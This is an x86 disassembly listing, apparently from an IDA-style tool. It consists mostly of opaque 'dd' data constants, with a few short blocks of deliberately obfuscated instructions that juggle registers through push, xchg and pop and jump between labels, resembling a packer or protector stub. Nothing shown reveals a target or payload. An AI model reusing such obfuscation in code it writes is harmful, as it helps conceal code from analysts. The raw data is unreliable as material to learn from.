23E25F9Dh, 955CAE0Ah, 0D922B8BFh, 3FD056B7h, 794098C7h dd 4E24EBB2h, 0B7D92229h, 0E69167EDh, 9FB7D922h, 0F47A1CD0h dd 0A278098Fh, 0B7D922CDh, 0D3A47A41h, 43B7D922h, 4983CFBDh dd 7DA530C3h, 7544BCF7h, 29E8E46Dh, 79FFF5B4h, 986E35FCh dd 0BE26D7DFh, 1EEAA92Fh, 0AC76DE0Ch, 0FA9E16A7h, 105D4B12h dd 34C3ADCh, 48443C9h, 0BCE42CC7h, 0C79D64F5h, 0B473F8C9h dd 632AF177h, 0D9AFEC75h, 0B7D8449Eh, 0C264EA70h, 445225FBh dd 3EC4B7D8h, 2A3927B8h, 384735B2h, 0F6AA22C4h, 0EB81571Eh dd 25AE25E8h, 4C27FD9Fh, 0AFBE2640h, 9D5C238Dh, 712742CDh dd 6C33C41Fh, 74C7EE96h, 0B85AE0B4h, 0D92691E2h, 0B90AF3B7h dd 3014299Ch, 1CB351h, 0F3280000h, 0E1A06741h, 289FA14Dh dd 23EA7B93h, 73DEBB4Dh, 75179DB4h, 0E20h, 41F39500h, 76CAA067h dd 68B47526h, 7DB540E2h, 5C29F5F7h, 7F429931h, 2D088DDh dd 6510000h, 165B49C6h, 0E36B59D6h, 0F27E6CE9h, 0C68F7DFAh dd 0EB388906h, 41BE3E47h, 50CD0F53h, 5CD91362h, 69E6E66Eh dd 84F3C990h, 92B7D206h, 0F77D2CB7h, 860CC08Dh, 6E6EF6E4h dd 0EDC779F1h, 0C4E85026h, 0B8A6B474h, 88E30ACh, 690AE082h dd 1BB7D909h, 0C0B78D54h, 4EB7D909h, 0FD4E37C8h, 94E3B980h dd 82B7D909h, 0C1046BFCh, 1B51300Ah, 20h, 6741F390h, 0D10ACAA0h dd 3EC4B474h, 1DADC69Ch, 0EED7B7D9h, 0B45809Dh, 0E2975130h dd 0C000000h, 34A8B6A4h, 2DAFB5A3h, 1CD09D8Bh, 0B8C5B37Ah dd 0BFC5B344h, 7CB7763Dh, 1760369Ah, 0F7BE2732h, 0F13EB271h dd 0A69436C7h, 0CBA11EDEh, 0BE26D70Bh, 3BB8343Ch, 23C5074Dh dd 0E6E66E5Ch, 0B52DBE44h, 74622983h, 0CA50F2EAh, 0EF66D50Bh dd 0F58620FBh, 531C582Eh, 6CF2B474h, 0AAC577EFh, 6339B3BCh dd 0B7D8F314h, 0CE74302h, 15F48E11h, 0CF7CD08Fh, 8ED27B4Ch dd 0A06B4108h, 0AEAE283Fh, 0AC9A6128h, 0AA9829A3h, 1AC0E6DDh dd 0C4837905h, 56DC8459h, 262EBD9h, 0E6D47676h, 57DD6399h dd 0B73EC88Bh, 0E035D742h, 196h, 8F0CC08Bh, 9F1CD0A1h dd 0AA27A5B1h, 0BF3CB0BCh, 0CB4884D1h, 0FC89A97Ah, 0CD958300h dd 0DDA4920Fh, 0ACB4A21Fh, 13DAB330h, 0D2043A3Dh, 7601DCB7h dd 7FFCF07Dh, 8C09C391h, 6741F301h, 0D10ACAA0h, 7462B474h dd 0C64CEEEEh, 0A84AD035h, 0D91DA1D2h, 0A9FAE3B7h, 300B398Ch dd 0A5A351h, 7D180000h, 6553F5F7h, 0AACDA318h, 0E3BE2736h dd 3BC16399h, 28CA50D6h, 27298452h, 2DAFB5BEh, 3AB2C2B0h dd 947C2098h, 0C27DF7CDh, 0D93B474h, 0D00C5846h, 164AC23Fh dd 2ED00C56h, 2FADBAA8h, 200CE2A9h, 8CAE2848h, 7315D79Eh dd 71F75CEDh, 39B3BCAAh, 4B81CEBCh, 0B7B2C67Fh, 0CA1FC142h dd 0D6h, 4FCC004Bh, 5FDC1061h, 6AE7E571h, 7FFCF07Ch, 8B08C491h dd 3C49E93Ah, 0D5543C0h, 1D6452CFh, 0EC7462DFh, 0D39A73F0h dd 0D2047AFDh, 36C19CB7h, 7007DDA4h, 9EBE2736h, 0CC998718h dd 0DFA59310h, 7D15A01Dh, 6553F5F7h, 0E860DD1Fh, 6E6EF4B4h dd 454B21E8h, 0D3B47DCEh, 0B7BDAB4Dh, 0AF5A75FCh, 4403C1F0h dd 0F6A2875Ah, 3CB93FFEh, 0FDFF8775h, 5644D55Bh, 1907CE0Eh dd 5CFE8F4Dh, 6502C986h, 59470E00h, 0DE1E6A0Ah, 8DDEC758h dd 0E4619BE9h, 6A212F1Dh, 658CE394h, 27AD334Ch, 24D8A896h dd 93879E5Dh, 33730DDh, 96E2D072h, 4D36B456h, 0C1917FFCh dd 0C48C7A0Bh, 0D79D8B08h, 0BEAC7315h, 0F9537B5h, 0C297Eh dd 0A3620000h, 139BAC61h, 6AF5865Eh, 0F27D941Fh, 1A6A58FAh dd 35240E2h, 293927C9h, 5A2311B3h, 451200A2h, 6DF7E587h dd 97DFCD6Fh, 0BCC5B355h, 68129E40h, 5378h, 68241C89h dd 70F1h, 56241489h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 0EC83242Ch, 24348904h, 551D6ABEh, 14F6812Ah, 0F75F984Fh dd 0FEF681DEh, 898C6785h, 0EC835EF2h, 24248904h, 4240481h dd 5D000000h, 12BB5350h, 810CD745h, 0FF7341E3h, 27E3815Ah dd 4355420Eh, 0FFF9EB81h, 0D8890041h, 89E8015Bh, 2C8B5810h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 5024148Bh dd 405E089h, 5000000h, 4, 5C240487h, 0F94B28E9h, 1D061FFFh dd 63925B63h, 0C9B862E6h, 3065533h, 35E0FFC5h, 0BA7E5588h dd 0CD389202h, 0F33327EAh, 23198873h, 0B8540B11h, 0D403927Ah dd 2C2559B5h, 693D1019h, 628ED54h, 0B715B5D2h, 9241F23Ch dd 73BB76Ch, 0A205EFA8h, 0F10D4A4Ch, 0A92E612Eh, 8A0B48C5h dd 9C53141Eh, 0B86AD20Bh, 67656C35h, 2758706h, 8F31D50Ch dd 0CF7A9870h, 0EB38D949h, 0CBF7AC04h, 4DAE953h, 125D0000h dd 0E26F5DDAh, 0F77F6DEAh, 0FE8A78F5h, 0CA9381FEh, 0DF449512h dd 55D20A53h, 64E11B67h, 70EDEF76h, 7DFAF282h, 7007DDA4h dd 9EB7D202h, 853DFCC3h, 48205FD5h, 7DF78213h, 6553F5F7h dd 7967E418h, 614FF1EBh, 0B5C29813h, 59BE2736h, 0BDAB4DD3h dd 0C29638B4h, 4C0B88D9h, 89F3A6D9h, 541E0CCCh, 4B190798h dd 0FB9D5F29h, 487B675h, 520EC34Dh, 12614FCCh, 0E06F5DDAh dd 165C4AECh, 72480FD6h, 0BE26D305h, 50F28309h, 0F498E9D2h dd 827A076Dh, 57D45AE0h, 1AE11B69h, 0C934FE5Bh, 53803FBDh dd 0AB4DDE23h, 26C59FD5h, 0F0412ABEh, 0BF59B473h, 316FFEA3h dd 4B8C39A0h, 4C52577Dh, 8B000000h, 921B3ACCh, 95263EDFh dd 0F5F77D0Ah, 0E691672Eh, 28BE2736h, 996F11A2h, 0BE2736E0h dd 94B102EBh, 577E2431h, 1ABh, 0F47D2000h, 1B6856F8h, 7513FE1h dd 664F23C5h, 0ECE07115h, 0F9F3816Fh, 0D1437332h, 88E3F58Dh dd 0A4EF7AF7h, 6666EFDDh, 0F683EC4h, 0FFBE2736h, 6DFAE879h dd 92DFCD6Fh, 8069B85Ah, 0AC28B2Fh, 1BD19F8Dh, 15EBB279h dd 0BE273662h, 1A52F5B4h, 2C4909A8h, 5F2715A6h, 9CE8D69Dh dd 3E2DCF60h, 2EE70455h, 0F0577D90h, 6Ah, 0FCF07D65h, 0EAE26C5Ah dd 0B3293523h, 0C3AC8022h, 7907F572h, 0C2C1FA4Ah, 2EB49041h dd 26A6AF9Dh, 0ECE0715Fh, 0B633C44Ah, 9B3DBFC8h, 8729A3ADh dd 415EAF98h, 577D56D4h, 444Ah, 0F07DBF00h, 0E56C5AFCh dd 0D7C045E7h, 1E95E286h, 0D23D2627h, 2D4A2039h, 0E1BE26B3h dd 884FD55Bh, 0FBD1CA9Ah, 0BE26B37Ch, 0FD8E149Ah, 0F47DF580h dd 0F48056F8h, 0D3BE2736h, 497C99EAh, 93577E24h, 1, 0FBF17D08h dd 7FE56B59h, 0CF55F7F5h, 0AAB9A749h, 0D0A29032h, 422B7A1Ch dd 4E37B5F1h, 0CF0D59FDh, 0E6A6DA52h, 6F6DFA9Ah, 3BC147E9h dd 0C1E29E74h, 4ED4B474h, 36B6BEACh, 0DF85CBB9h, 32B85A92h dd 68F7E5ACh, 0BB4CD274h, 0A364319h, 857B7D9h, 956B32D4h dd 0B7D90AE2h, 0B2C0AE34h, 2A13983Ah, 0F1865CD9h, 25B7D90Ah dd 0AB94199Fh, 4016DD5Ah, 0B7D90A37h, 0D79251D7h, 0B0602515h dd 0C5442D3h, 1F6553D0h, 69EFED75h, 0E98BD9C7h, 2B4C2299h dd 0EBB7D85Ch, 0B73DDF65h, 57408F31h, 0DA126206h, 49CFF65Dh dd 672E512Fh, 0D860E691h dd 11A228B7h, 13629h, 0B6A49E00h, 2AA233A9h, 0F0875D76h dd 1EBE2736h, 754B1298h, 0B474D8CFh, 6F4BB41h, 4AEC7D7Fh dd 5BD8145Ch, 43E5E76Dh, 2BCD0F55h, 0FEA2F3DCh, 32F97676h dd 0F9C03C44h, 0D9245423h, 0AB3CC2B7h, 30118144h, 3F5B51h dd 0F3D00000h, 0DDA46B4Dh, 36374016h, 51D7BE27h, 367DEAC0h dd 0AB31BE27h, 0F544209h, 11663CCDh, 0BFBE2736h, 490885D6h dd 6C154BE7h, 0B62EBF41h, 91672E8Eh, 0BE26F3D6h, 2075F278h dd 0AFh, 6741F395h, 270ACAA0h, 3EC4B475h, 0BEA6AE9Ch, 0D2993BB1h dd 0D9277BFCh, 8F159BB7h, 781AD2A1h, 0B7A56CF2h, 23A031ABh dd 0BAD2F35h, 0D9264135h, 0E1321BB7h, 0EFED7664h, 0E8797301h dd 0AB726AFAh, 0E1DB87ECh, 0B2A06C95h, 199627A5h, 4E15FFA1h dd 39DB1160h, 92DB9C72h, 0B53BB7D8h, 1D79E2Fh, 0AE2F55DDh dd 0CDAA8047h, 41BE0BA6h, 0A59335BBh, 0FD7B1DDFh, 0DE996F36h dd 30BE0BA6h, 0A6E49369h, 0AC32BE0Bh, 5BAC9526h, 592917DEh dd 0A6AACDA3h, 7E6CBE0Bh, 0DF70F6F6h, 14DB3567h, 373B5926h dd 78D2FB5h, 5D9AF76h, 0BFB4626Ah, 0F331BC39h, 0CAA06741h dd 0B47DFA14h, 0BC303E2Ch, 9E03941Ah, 0F8887618h, 0A0763D04h dd 0B7D202D7h, 57F2B137h, 9F9EA57Ah, 11FF7C0Dh, 4A9B5043h dd 95D7862Dh, 5B976D0Fh, 3E5E2F44h, 10600455h, 0E3715FDCh dd 928047E9h, 877506C6h, 0C6F4C6FDh, 39A4B8C8h, 0AA9311B3h dd 2DAFB559h, 3AB2C2B0h, 134398h, 0BD7C0000h, 0CCD93223h dd 0DD880EB1h, 72CE5615h, 1F43CE5Fh, 0FAF27D94h, 0E21A6A58h dd 0C9035240h, 0B3293927h, 0A25A2311h, 87451200h, 6F6DF7E5h dd 5597DFCDh, 40BCC5B3h, 0E068129Eh, 8900007Ah, 6068240Ch dd 89000036h, 0EC832404h, 24148904h, 4B926856h, 535E7C2Ah dd 573FC0BBh, 0EB814B4Ah, 0CFD7C04Dh, 895BDE31h, 8B545EF0h dd 0C4812414h, 4, 0B8685653h, 5E490D62h, 62B0EE81h, 0F389490Dh dd 89D3015Eh, 34FF5B03h, 0C4835A24h, 24048B04h, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 0F945E4E9h, 116A78FFh, 40B2F5DAh dd 0A13104ACh, 0B8EE6A7Fh, 55393CB8h, 0FFC50306h, 3875BCE0h dd 1CFF127Eh, 0DA507F4Fh, 2E035547h, 8D60784Fh, 0E10EAF4Ch dd 0DC2FC942h, 2BE81C39h, 5B7B7675h, 42E23952h, 0E10A4E2Ch dd 7EF0936Fh, 1603111Bh, 988D4134h, 4E9EC209h, 0D2B18E72h dd 681E3D34h, 0A877A701h, 0C5579924h, 57AECA73h, 6654037Fh dd 7D97F570h, 5C996162h, 910EB217h, 3F1B1401h, 8E04EB5Dh dd 0E9494AFFh, 530h, 0AB28A4AFh, 0BB38B4BDh, 0CE4B81CDh dd 0DB5894E0h, 0EF6C60EDh, 0A0AD859Eh, 0B1C1AF2Ch, 81D0BE3Bh dd 90E0CE4Bh, 3F06DF5Ch, 0D1FC0E69h, 5E2500B7h, 0FCB6C197h dd 9158B7D1h, 0D1FCBCBBh, 4ED45AB7h, 0F77D32BDh, 186553F5h dd 0B2A067E4h, 2882AA2h, 0FFFD8371h, 0EBE16F5Dh, 0D6165B49h dd 0BD3F4634h, 0A7252D1Bh, 46978005h, 0FC4D360Ah, 57D40858h dd 0D0A0D190h, 0E356523Ah, 0DF1D6452h, 0EFED7462h, 98135F4Dh dd 267AB5C2h, 0EFFEFFBEh, 6D456438h, 0CB948208h, 63E96F11h dd 95A43C1h, 17DE1E65h, 0B2D32A58h, 72032BF2h, 837907F5h dd 0E0690BE1h, 7760BE26h, 0CDBC0926h, 6F22577Dh, 97000000h dd 53F5F77Dh, 2736FC7Dh, 7C58DBEh, 8CE87765h, 0DE6406C6h dd 7E67B658h, 5C45F12Dh, 23D7EE0Bh, 105577Eh, 7A000000h dd 31F8F47Dh, 36E3946Ah, 0FBD1BE27h, 0BE27367Ch, 29AF149Ah dd 7B08F698h, 3A938248h, 5127526Dh, 0BE26F426h, 56DC62E8h dd 1BAC6B4h, 26F44C2Bh, 0BE44CABEh, 0E5F481Ch, 1CE3196Ah dd 16A7252Eh, 27A5AB99h, 0F07D1FAAh, 0D4935AFCh, 1CA01D58h dd 96561D19h, 0C0917F10h, 0F67C6A0Ch, 7F05C78Eh, 6963EFDDh dd 3E8F78C7h, 2DECB302h, 0CCEC7F4h, 2CA0B1A8h, 0DB2C15A6h dd 31AE2E37h, 3A70AB6Ah, 0B46F194Ah, 19AA30ACh, 5A7252Bh dd 0C804503Eh, 0EE895F26h, 20BE2666h, 9583149Ah, 827113C9h dd 0C974FCBBh, 1F7B0EACh, 0D754A58Eh, 0B53D3A10h, 4BD1BE26h dd 0B9C253BAh, 6D7C577Dh, 0B5000000h, 0D6E9AFF6h, 28AE508Ch dd 809FB569h, 0B194E3B9h, 0FC82BE26h, 0F07DE06Bh, 0E26C5AFCh dd 8B7448EAh, 13C9963Ah, 0DCDFA896h, 27367106h, 991FA5BEh dd 7D7F09F7h, 3725ECDBh, 8A10B22Ah, 0A2BF10F9h, 577E3B73h dd 4DA9h, 3823E200h, 994B42E0h, 7DBE49DAh, 6C5AFCF0h, 0C045E7E5h dd 4A0986D7h, 0C8907B6Ch, 0DAC85995h, 47D24F8Dh, 56F8F47Dh dd 0B1D3A18Fh, 48A2CA0h, 5D17ED7Eh, 6CBE2736h, 0F6B53283h dd 8775BE1Fh, 0E750640h, 577D78B7h, 125h, 0F17D9A00h, 2876D4C2h dd 0AD338602h, 2D571D0Bh, 0E7906625h, 27BE2647h, 0F3951BA1h dd 973B8C75h, 18900DCFh, 0EFC58C64h, 0B473D291h, 95E2B87Fh dd 79B7D873h, 1BAB34F3h, 0A7384405h, 0C3917F21h, 0D69E8C09h dd 0DB9E7416h, 0AEB7D896h, 9B892BA1h, 2BA1B2D2h, 0DB7D0389h dd 0E723745Dh, 0F4DC9B62h, 7D6EEC50h, 34856EFFh, 0DDA4C090h dd 2E1C991Fh, 3D04A626h, 524AF7Eh, 22B32640h, 0EB02C34h dd 0CC39F8BFh, 5DD40E0Ah, 96E7D061h, 0ED6A62F2h, 2FED3F86h dd 1179D51h, 0F3120000h, 0D9A06741h, 51720B1Ah, 0D9EC697h dd 74500D37h, 0AEB3A1B4h, 71389D2Eh, 29FFFD83h, 0B7D89C4Eh dd 5423F9C0h, 0C2B7D89Ch, 8E30B63Ch, 9F1CD0A0h, 8729A3B1h dd 6F11CB99h, 42E63720h, 0D63DBA32h, 512F89EFh, 54EDh dd 4DF36200h, 475C7532h, 43C91F66h, 31C1A67Ch, 0EF75BE27h dd 4B293A28h, 9D23C507h, 5EEF7517h, 3191E6BCh, 783FBE27h dd 427578B9h, 0C5158AE7h, 645E0FC7h, 0B19A2BB1h, 42023260h dd 6930B636h, 26AAD493h, 233220BEh, 0F08107A9h, 3388058Bh dd 79h, 2E41F3A8h, 0DDB695DEh, 0A36AF093h, 752707CDh, 3C0389B4h dd 23C5074Eh, 7C6A0C9Dh, 8D7BF8F4h, 9C6305C7h, 0B7BFA5AEh dd 0B7C1AF35h, 7C0D9335h, 0D926D0A6h, 70C1AAB7h, 7D7F05F3h dd 0D6C455DBh, 59D14E8Eh, 3006CD27h, 0AE2FE15Ch, 0DCCA6CF2h dd 38B65894h, 9381FE4Fh, 0E76D0FCDh, 52BADE56h, 1BD19D8Bh dd 9BDCB279h, 7BBE0C01h, 17DE6FF5h, 62BB4B41h, 27F05B4h dd 6741F377h, 0F0C2CAA0h, 0BD7CB47Dh, 1AA3AF49h, 65078D9Fh dd 2AA2B09Eh, 27A5AB99h, 0FFB4BCAAh, 0F5CBC499h, 0B7D18A82h dd 7C4F0E94h, 5F0187D0h, 7CFBD198h, 9AB7D214h, 8A2CA0ACh dd 17ED7E04h, 68B25431h, 52F64730h, 98136202h, 0DC54B5C2h dd 4DD35974h, 145C4AC7h, 5A2311D8h, 0E97A00A2h, 0CD0F5947h dd 8D4F1806h, 32D465EBh, 0D67ACBB4h, 0E3D14E8Eh, 0F6BD5F9Dh dd 45487B08h, 73F377B0h, 0D056F87Eh, 3EA3Fh, 1F5F0000h dd 0FAF27D94h, 0E21A6A58h, 0C9035240h, 0B3293927h, 0A25A2311h dd 87451200h, 6F6DF7E5h, 5597DFCDh, 40BCC5B3h, 0EC81129Eh dd 4, 89240489h, 405E0h, 0E8830000h, 24048704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 270Bh mov [esp], ebx push eax push 2E2D56F5h pop eax not eax sub eax, 0CB7D6ED8h push ebx mov ebx, eax mov ebp, ebx pop ebx pop eax push esp mov ebx, [esp] add esp, 4 push edi mov edi, ebp mov [ebx+8], edi mov edi, [esp] add esp, 4 mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5426E1 ; --------------------------------------------------------------------------- dd 0B816666Dh, 553ED0B8h, 0FFC50306h, 0C351C1E0h, 0B79B475Ah dd 3ADE7058h, 2A55DC60h, 0B06C2121h, 0B20EF27Dh, 95B37C5Eh dd 7C614C60h, 86F86544h, 0FF054D6Eh, 0CAB3B320h, 96384A1Ch dd 7A805754h, 0C4538D4Eh, 6F75B506h, 0F5DBE35Bh, 0A5636150h dd 432C906Ch, 0EE4BA266h, 7ECB140Ah, 6304EB76h, 0E91C3595h dd 55Bh, 47C43843h, 57D40859h, 62DF1D69h, 77F4E874h, 8300FC89h dd 3441F132h, 54D3BB8h, 155C4AC7h, 0E46C5AD7h, 0CB926BE8h dd 0D1F782F5h, 2EB994B7h, 53F5F77Dh, 6296CD8Ch, 2EEE9B2Ch dd 0BEA6AF9Dh, 4E8ED3B1h, 0FEA026ACh, 8775F278h, 9A6103F9h dd 0F8CACDDBh, 8BB3726Ah, 1F0D9E80h, 0F3845A51h, 23BE26B6h dd 8775179Dh, 8C6002FAh, 0A6AE52A3h, 0E2715F26h, 0EEDC59EAh dd 0FAE86567h, 8CF716Bh, 0C53FF749h, 0DD6ED47Fh, 740163EFh dd 0CA50D678h, 70C1AA28h, 0CA4785CCh, 0B65894DCh, 26FA94E0h dd 7E6C33BEh, 7C65F6F6h, 0E7B70E2Bh, 6425577Dh, 9A000000h dd 2EF5F77Dh, 0B1DC576Fh, 8E7C8969h, 0D57708C4h, 264B7AFFh dd 1B6C55BEh, 7D38C7FEh, 11557h, 7D8A0000h, 6856F8F4h dd 513FE11Bh, 24C58407h, 6B8ECE08h, 25AEC99Fh, 9960BE27h dd 2725B4C3h, 56DC62BEh, 40E21A68h, 0A49234BAh, 948224D8h dd 0EF6D0FCDh, 0A579B506h, 0BAC76BBCh, 89D7C542h, 7D4BD653h dd 6C5AFCF0h, 0F443E5E7h, 0BC303F2Dh, 4DF1422Bh, 614FCC00h dd 7037D913h, 5A5080B1h, 0CA949148h, 8D8C4B15h, 0A18F20F5h dd 867517D5h, 0E084D1BFh, 34D65C90h, 0E3341DAEh, 0EDEF7866h dd 9F20F55Ch, 751E577Dh, 93000000h, 35FCF07Dh, 0A4538976h dd 0CD6120DCh, 6A62F01Ch, 0C3B153E4h, 528AD9BBh, 343C2AB0h dd 0A9016B8h, 5AAB9468h, 0B633A9B6h, 5C04BFC8h, 0C1B68C47h dd 55BE26E9h, 7ACE10CFh, 682FD157h, 62F3E97Ah, 52F4E874h dd 0C297A63h, 577D6109h, 4E33h, 0B6A4A800h, 0B09E2FADh dd 958325A7h, 0E76C0ECEh, 7C09ADFEh, 0EF914B18h, 0ABCCA269h dd 6BBE2736h, 57E25FE5h, 56F8F47Dh, 2736F480h, 0C7C491BEh dd 273686F1h, 7C0288BEh, 6864ECDAh, 75841C6h, 0E5361FCBh dd 7E23FDC8h, 1DF57h, 7D540000h, 6B59FBF1h, 5745E7E5h dd 3F2DCF0Dh, 4418BA32h, 50CE0A5Bh, 0E4721667h, 41F36BE8h dd 0B6CAA067h, 46B474C1h, 0E1BC9787h, 8011E522h, 5F3951Bh dd 12007D7Fh, 4734942h, 12B7D888h, 8E64068Ch, 0B7D887EBh dd 524007h, 246B2ACCh, 39897ED9h, 0DAA8961Ch, 57A89122h dd 0B8C7ADB3h, 0CF0D5644h, 96DECC49h, 0BEC6B456h, 644D9C3Eh dd 0DCA89613h, 39F87E20h, 0BA0B7FB1h, 0CEBC4DAFh, 62C94686h dd 512F9263h, 17279h, 41F3EE00h, 7ACAA067h, 74B474D8h dd 0BE854CEEh, 704686D0h, 0B7D92507h, 2F08107h, 1A344172h dd 5705D686h, 9F8D54D1h, 0F2781AD2h, 0B6ED7361h, 0A9286ED4h dd 39BAD386h, 9B941A14h, 0FF784E15h, 0FB7D838h, 753C0389h dd 0D838D89Fh, 1FB036B7h, 0BAC8B67Dh, 0BDC3B142h, 0F98A783Fh dd 81D07203h, 4C80CCBAh, 0DD81D2BBh, 11D85597h, 0FFA15B23h dd 0AC28B79h, 25B31279h, 3729512Fh, 62000000h, 4B8531A3h dd 50E17C4Eh, 6B4DF3C5h, 3699CEA4h, 0B73DBE27h, 36383F15h dd 0A790BE27h, 0A0782856h, 5B2412D9h, 0E879FFA1h, 27365512h dd 0F673F9BEh, 0BEA1h, 41F31600h, 0AA39522Eh, 0D45A13DBh dd 0AE9D370Dh, 0AD33B474h, 54571D0Bh, 0D8BFF97Eh, 0A9971DB7h dd 0FC8224D8h, 450BF976h, 0DB9A521Fh, 82A2CD48h, 662DB386h dd 0C78CE878h, 57DD7F05h, 284E24C6h, 2B7D8A7h, 8C4BC819h dd 0F1AF0395h, 8573047Bh, 7736FDFFh, 1689A72Fh, 8F0C9D57h dd 744A6517h, 0B7D8FE03h, 0A4582513h, 0AD1981Eh, 0B9C501Ch dd 2FBD8B35h, 30F77DAEh, 28B93342h, 87D1BF86h, 8C1DA345h dd 7416D69Eh, 6103F986h, 4FF1EB73h, 22C61700h, 70F69854h dd 32836CEAh, 61375004h, 0BE0C3016h, 0A16B39F8h, 94698131h dd 524D4F0Eh, 0C5A15A9Fh, 1EA2783Fh, 90B4620Ch, 0A4028D0Ah dd 6C60EFDDh, 2736E196h, 1EAF35BEh, 531AF2A6h, 7DF7437Dh dd 0B9C7B5B4h, 541BA143h, 0D1F7F97Eh, 11971DB7h, 0ABBAA86Fh dd 78098F31h, 8502FA8Ah, 0A3ABC997h, 2B01A329h, 99F1276Dh dd 0C542937Ch, 33FB0906h, 66ED73D2h, 614FE066h, 6E5CD913h dd 311FE6E6h, 0BA324222h, 6A0C9218h, 79C825E4h, 0CC7639B2h dd 0A1AB993Bh, 0D29B892Bh, 892BA1B2h, 0EDDB7D03h, 0F3C76963h dd 0C544B90Ah, 0B68CEF78h, 2A139117h, 0A7955CD9h, 0F57B1DDFh dd 0F19A581Fh, 0BEC8B6A1h, 3927B83Eh, 4634B12Bh, 0D408563Eh dd 0B8AEA215h, 0C84E24C3h, 13643A01h, 3A1F1E7h, 0F54AEC7Dh dd 1Bh, 0FB36F2Eh, 36C20F05h, 8C12B428h, 1FEA7506h, 0BCBB9158h dd 5ABE2736h, 7DB843D4h, 6A58FAF2h, 5240E21Ah, 3927C903h dd 2311B329h, 1200A25Ah, 0F7E58745h, 0DFCD6F6Dh, 0C5B35597h dd 129E40BCh, 815A5452h, 4C2h, 4EA8300h, 5C241487h, 236068h dd 240C8900h, 5E08950h, 4, 42Dh, 24048700h, 2434895Ch dd 0B4BF5755h, 0BD326831h, 0D3ED0E12h, 895FFD01h, 8B545DE9h dd 0C4832434h, 6C456804h, 0C890000h, 8468F24h, 5E2434FFh dd 4C481h, 34FF0000h, 0C4835924h, 3A6FE904h, 0B8F7FFF9h dd 65544BAh, 0E0FFC503h, 7FA23112h, 4C98A689h, 38BC5561h dd 7CDEC27Eh, 14DBCA39h, 69B2C286h, 510A3E35h, 462D8D8Dh dd 6E90655h, 0BF000000h, 0B0A7EE33h, 58D8987h, 6A064E2Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 8CEAC352h, 6585C782h, 0A4064E2Bh, 6A00006Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0D90AC357h, 850F1D68h, 2, 85C758B0h, 64E065Dh dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 56C35242h dd 66AAE3E8h, 8589DF8Bh, 64E1529h, 0B15B5FFh, 95FF064Eh dd 64E0F99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 90C35545h, 0C0AAA951h, 0F781B746h, 2A50CD3Ah, 0FE9h dd 0DDD60F00h, 0C92CB43Dh, 0F2EC95E3h, 9537D659h, 95FF006Ah dd 64E1A59h, 4DEBC08Bh, 431AFD46h, 23B7ED62h, 0D6ADC39Ch dd 2036AD23h, 0E2439A54h, 1804F53Ch, 8F57AC81h, 586A39CAh dd 8410BC4Eh, 0EE3F3407h, 8E36A33Bh, 8CC12069h, 15B111A3h dd 9B94871h, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h, 0F99F726Bh dd 894B727Fh, 2604EB68h, 0E93DC6D7h, 4D0h, 3807C07h, 13904C15h dd 26A35925h, 33B02C38h, 47C43845h, 78052DF6h, 49190784h dd 59281693h, 283826A3h, 975E37B4h, 0D1F0B6C1h, 0F27D58B7h dd 2EF5F77Dh, 36E69167h, 0A228BE27h, 0BAA86F11h, 98F31ABh dd 0FFFD8A78h, 10CC9482h, 0FCF0806Eh, 0F6CC935Ah, 0BE273681h dd 907E0F95h, 936709C3h, 0AFB559AAh, 0E978662Dh, 0F7E562F3h dd 9F77468h, 0CDBB827Ah, 0B9A74983h, 78D2FADh, 604EF081h dd 0BA38DA12h, 95DC80D1h, 64ECDA57h, 84F0C668h, 43BE2736h dd 0D9EC095Ah, 24577E23h, 384A2A36h, 169C22C4h, 755DEE74h dd 6Dh, 0F5F77DEAh, 0E691672Eh, 28BE2736h, 0E0B2E3A2h dd 4EC6DB3Ch, 34451BBDh, 55BE268Ah, 402ED00Ch, 9C1ABC30h dd 7A2662B3h, 0A2234091h, 3C577D77h, 1, 0F8F47DB1h, 0E11B6856h dd 0C507513Fh, 1E133FFEh, 0C04C6DE5h, 0F2B98D2Fh, 0DC7E7E04h dd 8BDCC556h, 0E5629AE7h, 0AC7369F7h, 64C60EEDh, 5C4B671h dd 7EBC2A76h, 61DE6FF9h, 94F07DD6h, 0E66C0ECEh, 83D0BE60h dd 36453208h, 136FBE27h, 539065B9h, 32B83EA3h, 8C7A4190h dd 8E7708C4h, 10CC993Dh, 0CBAC8249h, 4BBE267Dh, 0C9B734C5h dd 528AD9BBh, 323C2ACCh, 402918BAh, 8243D2EFh, 74F9577Dh dd 6E000000h, 5AFCF07Dh, 81F6CC93h, 95BE2736h, 0C6907E0Fh dd 0E9766406h, 1E6351F3h, 74E3CDEh, 0D5E47C5h, 0C314FDD1h dd 202E561Fh, 0FE840AACh, 0BF3D4937h, 8906971Dh, 781AD29Bh dd 5CFEFE8Ah, 0B633846Dh, 0A244B8C8h, 0A92FADB4h, 3B64B118h dd 4DDA577Eh, 4F000000h, 35FCF07Dh, 36DF986Eh, 0A92FBE27h dd 0F9887618h, 0F3DC6103h, 2B3725A2h, 253220B1h, 7D9F2AA7h dd 8056F8F4h, 0BE2736F4h, 6507C591h, 52F4E877h, 8DC91A03h dd 8AA7F8E1h, 577E243Bh, 4D8FD4C2h, 33D5175Fh, 1341CADh dd 0A9000000h, 7007DDA4h, 9EBE2736h, 0A25A2A18h, 0FBE97A00h dd 0C4B27973h, 159B3DBFh, 36FF784Eh, 890FBE27h, 186856F8h dd 0DBC442E4h, 561F0D8Ah, 0D35E195Dh, 860583h, 8FF5816Fh dd 8850BC1h, 0CD0F5341h, 9C14A52Bh, 734910F8h, 0B474530Dh dd 0E5D375FBh, 0F2E05D9Fh, 1C86A62h, 0F313643Ah, 0CBA1B7D8h dd 0B7D8F3ACh, 0F97FE46Ah, 0F3E79268h, 0D2A2B7D8h, 0A21B48E1h dd 61E7FDBEh, 4587D1BFh, 32D40857h, 3E7ACBB4h, 